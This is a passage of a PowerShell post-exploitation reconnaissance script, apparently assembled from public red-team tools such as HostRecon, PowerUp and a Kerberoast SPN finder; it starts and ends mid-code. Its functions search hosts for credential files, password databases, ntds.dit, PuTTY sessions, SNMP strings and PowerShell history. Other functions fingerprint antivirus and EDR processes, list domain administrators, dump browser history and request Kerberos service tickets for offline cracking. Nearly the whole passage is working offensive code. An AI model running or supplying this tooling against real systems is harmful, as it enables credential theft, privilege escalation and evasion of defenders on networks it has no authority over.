New-Object -TypeName PSobject -Property @{ "LocalAddress" = $Connection.LocalEndPoint.Address "LocalPort" = $Connection.LocalEndPoint.Port "RemoteAddress" = $Connection.RemoteEndPoint.Address "RemotePort" = $Connection.RemoteEndPoint.Port "State" = $Connection.State "IPVersion" = $IPType } } } function Get-ActiveListeners { <# .SYNOPSIS Enumerates active TCP/UDP listeners. #> Write-Verbose "Enumerating active TCP/UDP listeners..." $IPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() $TcpListeners = $IPProperties.GetActiveTCPListeners() $UdpListeners = $IPProperties.GetActiveUDPListeners() ForEach($Connection in $TcpListeners) { if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } New-Object -TypeName PSobject -Property @{ "Protocol" = "TCP" "LocalAddress" = $Connection.Address "ListeningPort" = $Connection.Port "IPVersion" = $IPType } } ForEach($Connection in $UdpListeners) { if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } New-Object -TypeName PSobject -Property @{ "Protocol" = "UDP" "LocalAddress" = $Connection.Address "ListeningPort" = $Connection.Port "IPVersion" = $IPType } } } function Get-FirewallStatus { <# .SYNOPSIS Enumerates local firewall status from registry #> $regkey = "HKLM:\System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy" New-Object -TypeName PSobject -Property @{ Standard = If ((Get-ItemProperty $regkey\StandardProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"} Domain = If ((Get-ItemProperty $regkey\DomainProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"} Public = If ((Get-ItemProperty $regkey\PublicProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"} } } function Get-InterestingRegistryKeys { <# .SYNOPSIS Pulls potentially interesting registry keys #> Write-Verbose "Enumerating registry keys..." # Recently typed "run" commands "`n[+] Recent RUN Commands:`n" Get-Itemproperty "HKCU:\software\microsoft\windows\currentversion\explorer\runmru" | Out-String # HKLM SNMP Keys "`n[+] SNMP community strings:`n" Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" | Format-List | Out-String # HKCU SNMP Keys "`n[+] SNMP community strings for current user:`n" Get-ItemProperty "HKCU:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities"| Format-List |Out-String # Putty Saved Session Keys "`n[+] Putty saved sessions:`n" Get-ItemProperty "HKCU:\Software\SimonTatham\PuTTY\Sessions\*" |Format-List | Out-String "`n[+] Windows Update Settings:`n" Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |Format-List | Out-String "`n[+] Kerberos Settings:`n" Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" |Format-List | Out-String "`n[+] Wdigest Settings:`n" Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest" |Format-List | Out-String "`n[+] Windows Installer Settings:`n" Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\Installer" |Format-List | Out-String Get-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\Installer" |Format-List | Out-String "`n[+] Windows Policy Settings:`n" Get-ChildItem registry::HKEY_LOCAL_MACHINE\Software\Policies -recurse | Out-String Get-ChildItem registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies -recurse | Out-String Get-ChildItem registry::HKEY_CURRENT_USER\Software\Policies -recurse | Out-String Get-ChildItem registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies -recurse | Out-String } function Get-IndexedFiles { <# .SYNOPSIS Uses the Windows indexing service to search for interesting files and often includes Outlook e-mails. Code originally adapted from a Microsoft post, but can no longer locate the exact source. Doesn't work on all systems. #> param ( [Parameter(Mandatory=$true)][string]$Pattern) if($Path -eq ""){$Path = $PWD;} $pattern = $pattern -replace "\*", "%" $path = $path + "\%" $con = New-Object -ComObject ADODB.Connection $rs = New-Object -ComObject ADODB.Recordset # This directory indexing search doesn't work on some systems tested (i.e.Server 2K8r2) # Using Try/Catch to break the search in case the provider isn't available Try { $con.Open("Provider=Search.CollatorDSO;Extended Properties='Application=Windows';")} Catch { "[-] Indexed file search provider not available";Break } $rs.Open("SELECT System.ItemPathDisplay FROM SYSTEMINDEX WHERE System.FileName LIKE '" + $pattern + "' " , $con) While(-Not $rs.EOF){ $rs.Fields.Item("System.ItemPathDisplay").Value $rs.MoveNext() } } function Get-InterestingFiles { <# .SYNOPSIS Local filesystem enumeration #> Write-Verbose "Enumerating interesting files..." # Get Indexed files containg $searchStrings (Experimental), edit this to desired list of "dirty words" $SearchStrings = "*secret*","*creds*","*credential*","*.vmdk","*confidential*","*proprietary*","*pass*","*credentials*","web.config","KeePass.config*","*.kdbx","*.key","tnsnames.ora","ntds.dit","*.dll.config","*.exe.config" $IndexedFiles = Foreach ($String in $SearchStrings) {Get-IndexedFiles $string} "`n[+] Indexed File Search:`n" "`n[+] Search Terms ($SearchStrings)`n`n" $IndexedFiles |Format-List |Out-String -width 300 # Get Top Level file listing of all drives "`n[+] All 'FileSystem' Drives - Top Level Listing:`n" Get-PSdrive -psprovider filesystem |ForEach-Object {gci $_.Root} |Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300 # Get Program Files "`n[+] System Drive - Program Files:`n" GCI "$ENV:ProgramFiles\" | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300 # Get Program Files (x86) "`n[+] System Drive - Program Files (x86):`n" GCI "$ENV:ProgramFiles (x86)\" | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300 # Get %USERPROFILE%\Desktop top level file listing "`n[+] Current User Desktop:`n" GCI $ENV:USERPROFILE\Desktop | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300 # Get %USERPROFILE%\Documents top level file listing "`n[+] Current User Documents:`n" GCI $ENV:USERPROFILE\Documents | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300 # Get Files in the %USERPROFILE% directory with certain extensions or phrases "`n[+] Current User Profile (*pass*,*diagram*,*.pdf,*.vsd,*.doc,*docx,*.xls,*.xlsx,*.kdbx,*.key,KeePass.config):`n" GCI $ENV:USERPROFILE\ -recurse -include *pass*,*diagram*,*.pdf,*.vsd,*.doc,*docx,*.xls,*.xlsx,*.kdbx,*.key,KeePass.config | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String -width 300 # Get Powershell History "`n[+] Current User Powershell Console History:`n`n" (Get-Content $ENV:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -EA 0 |select -last 50) -join "`r`n" # Get Host File "`n[+] Contents of Hostfile:`n`n" (Get-Content -path "$($ENV:WINDIR)\System32\drivers\etc\hosts") -join "`r`n" } function Get-RecycleBin { <# .SYNOPSIS Gets the contents of the Recycle Bin for the current user #> Write-Verbose "Enumerating deleted files in Recycle Bin..." Try { $Shell = New-Object -ComObject Shell.Application $Recycler = $Shell.NameSpace(0xa) If (($Recycler.Items().Count) -gt 0) { $Output += $Recycler.Items() | Sort ModifyDate -Descending | Select-Object Name, Path, ModifyDate, Size, Type } Else { Write-Verbose "No deleted items found in Recycle Bin!`n" } } Catch {Write-Verbose "[-] Error getting deleted items from Recycle Bin! $($Error[0])`n"} Return $Output } function Get-AVInfo { <# .SYNOPSIS Gets the installed AV product and current status #> Write-Verbose "Enumerating installed AV product..." $AntiVirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct -ComputerName $env:computername switch ($AntiVirusProduct.productState) { "262144" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} "262160" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} "266240" {$defstatus = "Up to date" ;$rtstatus = "Enabled"} "266256" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} "393216" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} "393232" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} "393488" {$defstatus = "Out of date" ;$rtstatus = "Disabled"} "397312" {$defstatus = "Up to date" ;$rtstatus = "Enabled"} "397328" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} "397584" {$defstatus = "Out of date" ;$rtstatus = "Enabled"} "397568" {$defstatus = "Up to date"; $rtstatus = "Enabled"} "393472" {$defstatus = "Up to date" ;$rtstatus = "Disabled"} default {$defstatus = "Unknown" ;$rtstatus = "Unknown"} } # Create hash-table $ht = @{} $ht.Computername = $env:computername $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Definition Status' = $defstatus $ht.'Real-time Protection Status' = $rtstatus # Convert to PS object and then format as a string for file output $Output = New-Object -TypeName PSObject -Property $ht #|Format-List Return $Output } function Get-McafeeLogs { <# .SYNOPSIS Searches Application log for "McLogEvent" Provider associated with McAfee AV products and selects the first 50 events from the last 14 days #> Write-Verbose "Enumerating Mcafee AV events..." # Get events from the last two weeks $date = (get-date).AddDays(-14) $ProviderName = "McLogEvent" # Try to get McAfee AV event logs Try { $McafeeLogs = Get-WinEvent -FilterHashTable @{ logname = "Application"; StartTime = $date; ProviderName = $ProviderName; } $McafeeLogs |Select-Object -First 50 ID, Providername, DisplayName, TimeCreated, Level, UserID, ProcessID, Message } Catch { Write-Verbose "[-] Error getting McAfee AV event logs! $($Error[0])`n" } } function Get-AVProcesses { <# .SYNOPSIS Returns suspected AV processes based on name matching AV process list adapted from Beau Bullock's HostRecon AV detection code https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1 #> Write-Verbose "Enumerating potential AV processes..." $processes = Get-Process $avlookuptable = @{ #explorer = "Explorer (testing)" mcshield = "McAfee AV" FrameworkService = "McAfee AV" naPrdMgr = "McAfee AV" windefend = "Windows Defender AV" MSASCui = "Windows Defender AV" msmpeng = "Windows Defender AV" msmpsvc = "Windows Defender AV" WRSA = "WebRoot AV" savservice = "Sophos AV" TMCCSF = "Trend Micro AV" "symantec antivirus" = "Symantec AV" ccSvcHst = "Symantec Endpoint Protection" TaniumClient = "Tanium" mbae = "MalwareBytes Anti-Exploit" parity = "Bit9 application whitelisting" cb = "Carbon Black behavioral analysis" "bds-vision" = "BDS Vision behavioral analysis" Triumfant = "Triumfant behavioral analysis" CSFalcon = "CrowdStrike Falcon EDR" ossec = "OSSEC intrusion detection" TmPfw = "Trend Micro firewall" dgagent = "Verdasys Digital Guardian DLP" kvoop = "Forcepoint and others" xagt = "FireEye Endpoint Agent" } ForEach ($process in $processes) { ForEach ($key in $avlookuptable.keys){ if ($process.ProcessName -match $key){ New-Object -TypeName PSObject -Property @{ AVProduct = ($avlookuptable).Get_Item($key) ProcessName = $process.ProcessName PID = $process.ID } } } } } function Get-DomainAdmins { <# .SYNOPSIS Enumerates admininistrator type accounts within the domain using code adapted from Dafthack HostRecon.ps1 #> Write-Verbose "Enumerating Domain Administrators..." $Domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() Try { $DAgroup = ([adsi]"WinNT://$domain/Domain Admins,group") $Members = @($DAgroup.psbase.invoke("Members")) [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} "`n[+] Domain Admins:`n" $MemberNames $EAgroup = ([adsi]"WinNT://$domain/Enterprise Admins,group") $Members = @($EAgroup.psbase.invoke("Members")) [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} "`n[+] Enterprise Admins:`n" $MemberNames $SAgroup = ([adsi]"WinNT://$domain/Schema Admins,group") $Members = @($DAgroup.psbase.invoke("Members")) [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} "`n[+] Schema Admins:`n" $MemberNames $DAgroup = ([adsi]"WinNT://$domain/Administrators,group") $Members = @($DAgroup.psbase.invoke("Members")) [Array]$MemberNames = $Members | ForEach{([ADSI]$_).InvokeGet("Name")} "`n[+] Administrators:`n" $MemberNames } Catch { Write-Verbose "[-] Error connecting to the domain while retrieving group members." } } function Get-DomainAccountPolicy { <# .SYNOPSIS Enumerates account policy from the domain with code adapted from Dafthack HostRecon.ps1 #> Write-Verbose "Enumerating domain account policy" $Domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain() Try { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$domain) $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) $CurrentDomain = [ADSI]"WinNT://$env:USERDOMAIN" $Name = @{Name="DomainName";Expression={$_.Name}} $MinPassLen = @{Name="Minimum Password Length";Expression={$_.MinPasswordLength}} $MinPassAge = @{Name="Minimum Password Age (Days)";Expression={$_.MinPasswordAge.value/86400}} $MaxPassAge = @{Name="Maximum Password Age (Days)";Expression={$_.MaxPasswordAge.value/86400}} $PassHistory = @{Name="Enforce Password History (Passwords remembered)";Expression={$_.PasswordHistoryLength}} $AcctLockoutThreshold = @{Name="Account Lockout Threshold";Expression={$_.MaxBadPasswordsAllowed}} $AcctLockoutDuration = @{Name="Account Lockout Duration (Minutes)";Expression={if ($_.AutoUnlockInterval.value -eq -1) {'Account is locked out until administrator unlocks it.'} else {$_.AutoUnlockInterval.value/60}}} $ResetAcctLockoutCounter = @{Name="Observation Window";Expression={$_.LockoutObservationInterval.value/60}} $CurrentDomain | Select-Object $Name,$MinPassLen,$MinPassAge,$MaxPassAge,$PassHistory,$AcctLockoutThreshold,$AcctLockoutDuration,$ResetAcctLockoutCounter } Catch { Write-Verbose "[-] Error connecting to the domain while retrieving password policy." } } function Get-BrowserInformation { <# .SYNOPSIS Dumps Browser Information Author: @424f424f License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1 .DESCRIPTION Enumerates browser history or bookmarks for a Chrome, Internet Explorer, and/or Firefox browsers on Windows machines. .PARAMETER Browser The type of browser to enumerate, 'Chrome', 'IE', 'Firefox' or 'All' .PARAMETER Datatype Type of data to enumerate, 'History' or 'Bookmarks' .PARAMETER UserName Specific username to search browser information for. .PARAMETER Search Term to search for .EXAMPLE PS C:\> Get-BrowserInformation Enumerates browser information for all supported browsers for all current users. .EXAMPLE PS C:\> Get-BrowserInformation -Browser IE -Datatype Bookmarks -UserName user1 Enumerates bookmarks for Internet Explorer for the user 'user1'. .EXAMPLE PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName user1 -Search 'github' Enumerates bookmarks for Internet Explorer for the user 'user1' and only returns results matching the search term 'github'. #> [CmdletBinding()] Param ( [Parameter(Position = 0)] [String[]] [ValidateSet('Chrome','IE','FireFox', 'All')] $Browser = 'All', [Parameter(Position = 1)] [String[]] [ValidateSet('History','Bookmarks','All')] $DataType = 'All', [Parameter(Position = 2)] [String] $UserName = '', [Parameter(Position = 3)] [String] $Search = '' ) Write-Verbose "Enumerating web browser history..." function ConvertFrom-Json20([object] $item){ #http://stackoverflow.com/a/29689642 Add-Type -AssemblyName System.Web.Extensions $ps_js = New-Object System.Web.Script.Serialization.JavaScriptSerializer return ,$ps_js.DeserializeObject($item) } function Get-ChromeHistory { $Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" if (-not (Test-Path -Path $Path)) { Write-Verbose "[-] Could not find Chrome History for username: $UserName" } $Regex = '(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?' $Value = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"|Select-String -AllMatches $regex |% {$_.Matches} $Value | ForEach-Object { $Key = $_ if ($Key -match $Search){ New-Object -TypeName PSObject -Property @{ User = $UserName Browser = 'Chrome' DataType = 'History' Data = $_.Value } } } } function Get-ChromeBookmarks { $Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" if (-not (Test-Path -Path $Path)) { Write-Verbose "[-] Could not find Chrome Bookmarks for username: $UserName" } else { $Json = Get-Content $Path $Output = ConvertFrom-Json20($Json) $Jsonobject = $Output.roots.bookmark_bar.children # Modified parsing to properly iterate of the array of dictionaries $JsonObject | ForEach-Object { New-Object -TypeName PSObject -Property @{ User = $UserName Browser = 'Chrome' DataType = 'Bookmark' Data = $_.item('url') Name = $_.item('name') } } } } function Get-InternetExplorerHistory { #https://crucialsecurityblog.harris.com/2011/03/14/typedurls-part-1/ $Null = New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue $Paths = Get-ChildItem 'HKU:\' -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach($Path in $Paths) { $User = ([System.Security.Principal.SecurityIdentifier] $Path.PSChildName).Translate( [System.Security.Principal.NTAccount]) | Select -ExpandProperty Value $Path = $Path | Select-Object -ExpandProperty PSPath $UserPath = "$Path\Software\Microsoft\Internet Explorer\TypedURLs" if (-not (Test-Path -Path $UserPath)) { Write-Verbose "[-] Could not find IE History for SID: $Path" } else { Get-Item -Path $UserPath -ErrorAction SilentlyContinue | ForEach-Object { $Key = $_ $Key.GetValueNames() | ForEach-Object { $Value = $Key.GetValue($_) if ($Value -match $Search) { New-Object -TypeName PSObject -Property @{ User = $UserName Browser = 'IE' DataType = 'History' Data = $Value } } } } } } } function Get-InternetExplorerBookmarks { $URLs = Get-ChildItem -Path "$Env:systemdrive\Users\" -Filter "*.url" -Recurse -ErrorAction SilentlyContinue ForEach ($URL in $URLs) { if ($URL.FullName -match 'Favorites') { $User = $URL.FullName.split('\')[2] Get-Content -Path $URL.FullName | ForEach-Object { try { if ($_.StartsWith('URL')) { # parse the .url body to extract the actual bookmark location $URL = $_.Substring($_.IndexOf('=') + 1) if($URL -match $Search) { New-Object -TypeName PSObject -Property @{ User = $User Browser = 'IE' DataType = 'Bookmark' Data = $URL } } } } catch { Write-Verbose "Error parsing url: $_" } } } } } function Get-FirefoxHistory { $Path = "$Env:systemdrive\Users\$UserName\AppData\Roaming\Mozilla\Firefox\Profiles\" if (-not (Test-Path -Path $Path)) { Write-Verbose "[-] Could not find FireFox History for username: $UserName" } else { $Profiles = Get-ChildItem -Path "$Path\*.default\" -ErrorAction SilentlyContinue # Modified Regex to match SQLite DB $Regex = '(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?' $Value = Get-Content $Profiles\places.sqlite | Select-String -Pattern $Regex -AllMatches | Select-Object -ExpandProperty Matches |Sort -Unique $Value | ForEach-Object { New-Object -TypeName PSObject -Property @{ User = $UserName Browser = 'Firefox' DataType = 'History' Data = $_.Value } } } } if (!$UserName) { $UserName = "$ENV:USERNAME" } if(($Browser -Contains 'All') -or ($Browser -Contains 'Chrome')) { if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) { Get-ChromeHistory } if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) { Get-ChromeBookmarks } } if(($Browser -Contains 'All') -or ($Browser -Contains 'IE')) { if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) { Get-InternetExplorerHistory } if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) { Get-InternetExplorerBookmarks } } if(($Browser -Contains 'All') -or ($Browser -Contains 'FireFox')) { if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) { Get-FireFoxHistory } } } function Get-ActiveIEURLS { <# .SYNOPSIS Returns a list of URLs currently loaded in the browser Source: http://windowsitpro.com/powershell/retrieve-information-open-browsing-sessions #> Param([switch]$Full, [switch]$Location, [switch]$Content) Write-Verbose "Enumerating active Internet Explorer windows" $urls = (New-Object -ComObject Shell.Application).Windows() | Where-Object {$_.LocationUrl -match "(^https?://.+)|(^ftp://)"} | Where-Object {$_.LocationUrl} if ($urls) { if($Full) { $urls } elseif($Location) { $urls | Select Location* } elseif($Content) { $urls | ForEach-Object { $_.LocationName; $_.LocationUrl; $_.Document.body.innerText } } else { $urls | Select-Object LocationUrl, LocationName } } else { Write-Verbose "[-] No active Internet Explorer windows found" } } # End Browser Enumeration function Get-ExplicitLogonEvents { <# .SYNOPSIS Gets 4648 Explicit Logon Events from Windows Event Log Author: Lee Christensen (@tifkin_) #> [CmdletBinding()] Param( [int] $Days = 10 ) Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4648; StartTime=(Get-Date).AddDays(-$Days)} | ?{!$_.Properties[5].Value.EndsWith('$')} | %{ $Properties = $_.Properties New-Object PSObject -Property @{ TimeCreated = $_.TimeCreated #SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value #SubjectLogonId = $Properties[3].Value #LogonGuid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value #TargetLogonGuid = $Properties[7].Value #TargetServerName = $Properties[8].Value #TargetInfo = $Properties[9].Value #ProcessId = $Properties[10].Value ProcessName = $Properties[11].Value IpAddress = $Properties[12].Value #IpPort = $Properties[13].Value } } } function Get-LogonEvents { <# .SYNOPSIS Gets 4624 Logon Events from Windows Event Log Author: Lee Christensen (@tifkin_) #> [CmdletBinding()] Param( [int] $MaxEvents = 10 ) Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents $MaxEvents | %{ $Properties = $_.Properties New-Object PSObject -Property @{ TimeCreated = $_.TimeCreated #SubjectUserSid = $Properties[0].Value.ToString() #SubjectUserName = $Properties[1].Value #SubjectDomainName = $Properties[2].Value #SubjectLogonId = $Properties[3].Value #Subject = "$($Properties[2].Value)\$($Properties[1].Value)" #TargetUserSid = $Properties[4].Value.ToString() #TargetUserName = $Properties[5].Value #TargetDomainName = $Properties[6].Value #TargetLogonId = $Properties[7].Value Target = "$($Properties[6].Value)\$($Properties[5].Value)" LogonType = $Properties[8].Value #LogonProcessName = $Properties[9].Value AuthenticationPackageName = $Properties[10].Value #WorkstationName = $Properties[11].Value #LogonGuid = $Properties[12].Value #TransmittedServices = $Properties[13].Value #LmPackageName = $Properties[14].Value #KeyLength = $Properties[15].Value #ProcessId = $Properties[16].Value #ProcessName = $Properties[17].Value IpAddress = $Properties[18].Value #ImpersonationLevel = $Properties[20].Value #RestrictedAdminMode = $Properties[21].Value #TargetOutboundUserName = $Properties[22].Value #TargetOutboundDomainName = $Properties[23].Value #VirtualAccount = $Properties[24].Value #TargetLinkedLogonId = $Properties[25].Value #ElevatedToken = $Properties[26].Value } } } function Get-UserSPNS { <# .SYNOPSIS # Edits by Tim Medin # File: GetUserSPNS.ps1 # Contents: Query the domain to find SPNs that use User accounts # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast # The password hash used with Computer accounts are infeasible to # crack; however, if the User account associated with an SPN may have # a crackable password. This tool will find those accounts. You do not # need any special local or domain permissions to run this script. # This script on a script supplied by Microsoft (details below). # History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames #> [CmdletBinding()] Param( [Parameter(Mandatory=$False,Position=1)] [string]$GCName, [Parameter(Mandatory=$False)] [string]$Filter, [Parameter(Mandatory=$False)] [switch]$Request, [Parameter(Mandatory=$False)] [switch]$UniqueAccounts ) Write-Verbose "Enumerating user SPNs for potential Kerberoast cracking..." Add-Type -AssemblyName System.IdentityModel $GCs = @() If ($GCName) { $GCs += $GCName } else { # find them $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() ForEach ($GC in $CurrentGCs) { #$GCs += $GC.Name $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain } } if (-not $GCs) { # no Global Catalogs Found Write-Output "`n[-] No Global Catalogs Found!" Return } ForEach ($GC in $GCs) { $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = "LDAP://" + $GC $searcher.PageSize = 1000 $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" $Null = $searcher.PropertiesToLoad.Add("serviceprincipalname") $Null = $searcher.PropertiesToLoad.Add("name") $Null = $searcher.PropertiesToLoad.Add("samaccountname") #$Null = $searcher.PropertiesToLoad.Add("userprincipalname") #$Null = $searcher.PropertiesToLoad.Add("displayname") $Null = $searcher.PropertiesToLoad.Add("memberof") $Null = $searcher.PropertiesToLoad.Add("pwdlastset") #$Null = $searcher.PropertiesToLoad.Add("distinguishedname") $searcher.SearchScope = "Subtree" $results = $searcher.FindAll() [System.Collections.ArrayList]$accounts = @() foreach ($result in $results) { foreach ($spn in $result.Properties["serviceprincipalname"]) { $o = Select-Object -InputObject $result -Property ` @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } if ($UniqueAccounts) { if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { $Null = $accounts.Add($result.Properties["samaccountname"][0].ToString()) $o if ($Request) { $Null = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() } } } else { $o if ($Request) { $Null = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() } } } } } } ########### # PowerUp ########### <# Modified version of PowerUp (authored by @harmj0y) without the modification functions PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations. See README.md for more information. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None Link: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 #> #Requires -Version 2 ######################################################## # # PSReflect code for Windows API access # Author: @mattifestation # https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 # ######################################################## function New-InMemoryModule { <# .SYNOPSIS Creates an in-memory assembly and module Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION When defining custom enums, structs, and unmanaged functions, it is necessary to associate to an assembly module. This helper function creates an in-memory module that can be passed to the 'enum', 'struct', and Add-Win32Type functions. .PARAMETER ModuleName Specifies the desired name for the in-memory assembly and module. If ModuleName is not provided, it will default to a GUID. .EXAMPLE $Module = New-InMemoryModule -ModuleName Win32 #> Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] $ModuleName = [Guid]::NewGuid().ToString() ) $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) $LoadedAssemblies = $AppDomain.GetAssemblies() foreach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } } $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) $Domain = $AppDomain $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) return $ModuleBuilder } # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. function func { Param ( [Parameter(Position = 0, Mandatory=$True)] [String] $DllName, [Parameter(Position = 1, Mandatory=$True)] [string] $FunctionName, [Parameter(Position = 2, Mandatory=$True)] [Type] $ReturnType, [Parameter(Position = 3)] [Type[]] $ParameterTypes, [Parameter(Position = 4)] [Runtime.InteropServices.CallingConvention] $NativeCallingConvention, [Parameter(Position = 5)] [Runtime.InteropServices.CharSet] $Charset, [String] $EntryPoint, [Switch] $SetLastError ) $Properties = @{ DllName = $DllName FunctionName = $FunctionName ReturnType = $ReturnType } if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } if ($Charset) { $Properties['Charset'] = $Charset } if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } New-Object PSObject -Property $Properties } function Add-Win32Type { <# .SYNOPSIS Creates a .NET type for an unmanaged Win32 function. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: func .DESCRIPTION Add-Win32Type enables you to easily interact with unmanaged (i.e. Win32 unmanaged) functions in PowerShell. After providing Add-Win32Type with a function signature, a .NET type is created using reflection (i.e. csc.exe is never called like with Add-Type). The 'func' helper function can be used to reduce typing when defining multiple function definitions. .PARAMETER DllName The name of the DLL. .PARAMETER FunctionName The name of the target function. .PARAMETER EntryPoint The DLL export function name. This argument should be specified if the specified function name is different than the name of the exported function. .PARAMETER ReturnType The return type of the function. .PARAMETER ParameterTypes The function parameters. .PARAMETER NativeCallingConvention Specifies the native calling convention of the function. Defaults to stdcall. .PARAMETER Charset If you need to explicitly call an 'A' or 